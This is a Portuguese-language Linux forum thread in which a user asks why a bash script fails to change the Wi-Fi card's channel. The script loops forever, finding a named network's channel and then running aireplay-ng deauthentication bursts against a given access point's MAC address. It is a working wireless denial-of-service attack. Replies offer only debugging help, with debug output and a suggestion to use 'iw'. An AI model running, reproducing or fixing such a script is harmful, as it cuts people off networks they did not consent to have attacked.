Script não altera o canal via .sh

1. Script não altera o canal via .sh

Perfil removido
removido

(usa Nenhuma)

Enviado em 21/08/2022 - 20:32h

Olá a todos !
Poderiam me ajudar, por favor ?
Tenho um script que não altera o canal do meu WIFI se o comando for executado via .sh
Segue o SCRIPT:

#!/bin/bash

while :
do

nmcli radio wifi off

nmcli radio wifi on

sleep 10s

nmcli dev wifi > /home/administrador/Documents/logs/arquivo.txt

sleep 20s

canal=$(awk '/WIFISOMALTO/ {print $4}' /home/administrador/Documents/logs/arquivo.txt)

echo "iwconfig wlp2s0 channel $canal" > /home/administrador/Documents/logs/canal.txt

configcanal=$(cat /home/administrador/Documents/logs/canal.txt)

nmcli radio wifi off

sleep 10s

. /home/administrador/Documents/logs/canal.txt

nmcli radio wifi on

sleep 10s

aireplay-ng -0 300 -a MACADDRESS wlp2s0
done
**********************************************************
Sei que dei algumas voltas para executar a parte de mudança de canal, mas da maneira simples que eu tinha criado tambem não funcionava.
Segue o script anterior:
#!/bin/bash

while :
do
nmcli dev wifi > /home/administrador/Documents/logs/arquivo.txt

canal=$(awk '/WIFISOMALTO/ {print $4}' /home/administrador/Documents/logs/arquivo.txt)

sudo iwconfig wlp2s0 channel $canal

aireplay-ng -0 300 -a MACADDRESS wlp2s0
done


  


2. Re: Script não altera o canal via .sh

Carlos APC
Carlos_Cunha

(usa Linux Mint)

Enviado em 22/08/2022 - 08:49h

Execute em modo debug para vermos se a algum erro,e poste aqui a saida:


bash -x SEU-SCRIPT.sh



#-------------------------------------------------------------------------------------#
"Falar é fácil, me mostre o código." - Linus Torvalds
#-------------------------------------------------------------------------------------#



3. Re: Script não altera o canal via .sh

Perfil removido
removido

(usa Nenhuma)

Enviado em 22/08/2022 - 19:26h

Carlos_Cunha escreveu:

Execute em modo debug para vermos se a algum erro,e poste aqui a saida:


bash -x SEU-SCRIPT.sh



#-------------------------------------------------------------------------------------#
"Falar é fácil, me mostre o código." - Linus Torvalds
#-------------------------------------------------------------------------------------#


Segue:

root@notebook:/home/administrador/Documents# bash -x aircrack2.sh
+ :
+ nmcli radio wifi off
+ nmcli radio wifi on
+ sleep 10s
+ nmcli dev wifi
+ sleep 20s
++ awk '/XXXXX_XXXXXXXXX/ {print $4}' /home/administrador/Documents/logs/arquivo.txt
+ canal=1
+ echo 'iwconfig wlp2s0 channel 1'
++ cat /home/administrador/Documents/logs/canal.txt
+ configcanal='iwconfig wlp2s0 channel 1'
+ nmcli radio wifi off
+ sleep 10s
+ . /home/administrador/Documents/logs/canal.txt
++ iwconfig wlp2s0 channel 1
+ nmcli radio wifi on
+ sleep 10s
+ aireplay-ng -0 300 -a XX:XX:XX:XX:XX:XX wlp2s0
ioctl(SIOCSIWMODE) failed: Device or resource busy
19:24:24 Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX) on channel 6
19:24:34 No such BSSID available.


Só troquei alguns dados por XX pra não dar problema.
Ele identifica em qual canal está o wifi, mas não muda.



4. Re: Script não altera o canal via .sh

Marcelo Oliver
msoliver

(usa Debian)

Enviado em 22/08/2022 - 20:07h

Boa noite aPFp4Hq3.
Testei aqui, e não alterou o canal, direto pela linha de comando.....
Dei uma pesquisada e encontrei alguns relatos sobre o assunto,
sugerem usar o comando 'iw', no lugar do iwconfig.


Att.: Marcelo Oliver







Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts